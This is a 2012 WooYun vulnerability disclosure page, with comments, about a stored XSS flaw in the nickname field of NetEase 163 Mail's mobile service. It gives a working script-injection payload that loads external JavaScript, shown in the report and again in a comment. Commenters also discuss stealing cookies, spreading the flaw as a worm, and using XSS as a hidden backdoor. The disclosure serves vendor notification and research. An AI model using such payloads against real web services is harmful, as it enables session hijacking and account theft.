当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-09904

漏洞标题：网易163邮箱存储型XSS漏洞，剁所有浏览器～

相关厂商：网易

漏洞作者： 剁刀

提交时间：2012-07-19 19:21

修复时间：2012-09-02 19:21

公开时间：2012-09-02 19:21

漏洞类型：xss跨站脚本攻击

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-07-19： 细节已通知厂商并且等待厂商处理中
2012-07-21： 厂商已经确认，细节仅向厂商公开
2012-07-31： 细节向核心白帽子及相关领域专家公开
2012-08-10： 细节向普通白帽子公开
2012-08-20： 细节向实习白帽子公开
2012-09-02： 细节向公众公开

简要描述：

网易邮箱由于过滤不严导致持久型xss，通杀所有浏览器，可加载外部js

详细说明：

漏洞重现：
url：http://mobileserv.mail.163.com/mobileact/ma/index.do
修改个人资料中的昵称，用fiddler post以下：
1";</script><script/src=//yoursitejs.com></script>

漏洞证明：

修复方案：

过滤

版权声明：转载请注明来源 剁刀@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：3

确认时间：2012-07-21 01:26

厂商回复：

感谢您对网易的关注，经确认该问题只能影响到用户自己，目前已修复。

最新状态：

暂无

漏洞评价：

评论

  1. 2012-07-19 20:31 | 风萧萧 认证白帽子 ( 核心白帽子 | Rank:1020 漏洞数:76 | 人这一辈子总要动真格的爱上什么人)

    神仙？妖怪？谢谢。

  2. 2012-07-19 20:40 | Max ( 实习白帽子 | Rank:45 漏洞数:7 | When you see this sentence, I have been ...)

    路人甲果断霸气

  3. 2012-07-19 21:29 | 剁刀 ( 路人 | Rank:3 漏洞数:1 | 做一名安静的剁刀师)

    偶是剁刀师，不是路人甲 :)

  4. 2012-07-20 08:45 | wanglaojiu ( 普通白帽子 | Rank:168 漏洞数:39 | 道生一，一生二，二生三，三生万物，万物负...)

    @剁刀 飘过，顺带顶下

  5. 2012-07-20 09:06 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    @剁刀

  6. 2012-07-20 10:22 | 沙豆 ( 路人 | Rank:20 漏洞数:2 | 豆沙)

    洞主剁得一手好刀！

  7. 2012-07-20 10:26 | 剁刀 ( 路人 | Rank:3 漏洞数:1 | 做一名安静的剁刀师)

    @沙豆 可以蠕虫的哦，亲～

  8. 2012-07-20 10:39 | wanglaojiu ( 普通白帽子 | Rank:168 漏洞数:39 | 道生一，一生二，二生三，三生万物，万物负...)

    ╭︿︿︿╮ {/ o o /} ( (oo) ) ︶ ︶︶

  9. 2012-07-20 10:40 | wanglaojiu ( 普通白帽子 | Rank:168 漏洞数:39 | 道生一，一生二，二生三，三生万物，万物负...)

    画了个小猪 发出去变形了..

  10. 2012-07-20 13:23 | Rookie ( 普通白帽子 | Rank:288 漏洞数:78 | 123)

    @wanglaojiu 剁的一手好画

  11. 2012-07-20 14:17 | Max ( 实习白帽子 | Rank:45 漏洞数:7 | When you see this sentence, I have been ...)

    @wanglaojiu @Rookie 一只猪脑袋被剁成4等份了。此乃神剁。

  12. 2012-07-20 16:52 | wanglaojiu ( 普通白帽子 | Rank:168 漏洞数:39 | 道生一，一生二，二生三，三生万物，万物负...)

    @Rookie @Max 承让承让了，小弟抛砖引玉，还请各位大哥来个独特的

  13. 2012-07-21 08:20 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    xss自己？

  14. 2012-07-21 10:14 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @剁刀 失策了？

  15. 2012-07-21 10:19 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    x自己可以当后门用不？

  16. 2012-07-21 10:49 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @水滴 WooYun: 腾讯邮箱某漏洞可以导致隐藏后门 这个才给力的，可以做后门的

  17. 2012-07-21 10:58 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    @xsser 没看懂，什么意思？一打开设置就x？

  18. 2012-07-21 11:33 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @水滴 种了一次后门之后，永久的就种后门，而且无法更改，因为这个地方有个xss可以把自己的设置隐藏起来，完全一个经典的rk啊

  19. 2012-07-21 12:24 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @xsser 很多rookit都可以用代码实现对用户设置的拦截，从而达到永久控制的目的。

  20. 2012-07-22 16:35 | 剁刀 ( 路人 | Rank:3 漏洞数:1 | 做一名安静的剁刀师)

    网易安全部门已经昧着良心补了不少漏洞吧，尼玛偶放的漏洞图片就是偶截取到的别人的cookie，还TMD只能X自己。网易捏造事实，隐瞒真相，罪该万死，建议wooyun封杀

  21. 2012-07-22 16:35 | 剁刀 ( 路人 | Rank:3 漏洞数:1 | 做一名安静的剁刀师)

    漏洞重现：url：http://mobileserv.mail.163.com/mobileact/ma/index.do修改个人资料中的昵称，用fiddler post以下：1";</script><script/src=//yoursitejs.com></script>

  22. 2012-07-22 16:37 | 剁刀 ( 路人 | Rank:3 漏洞数:1 | 做一名安静的剁刀师)

    http://www.wooyun.org/upload/201207/1919015545ecc5cfa28b033c93c54e46ae526b94.png

  23. 2012-07-22 16:52 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @剁刀 私信我地址 我加上

  24. 2012-07-22 17:00 | 剁刀 ( 路人 | Rank:3 漏洞数:1 | 做一名安静的剁刀师)

    @xsser 神码地址？不懂ing,如果你是要cookie的地址偶已经删除了，留下图片就是证据啊～

  25. 2012-07-22 17:59 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @剁刀 可怜的洞主。。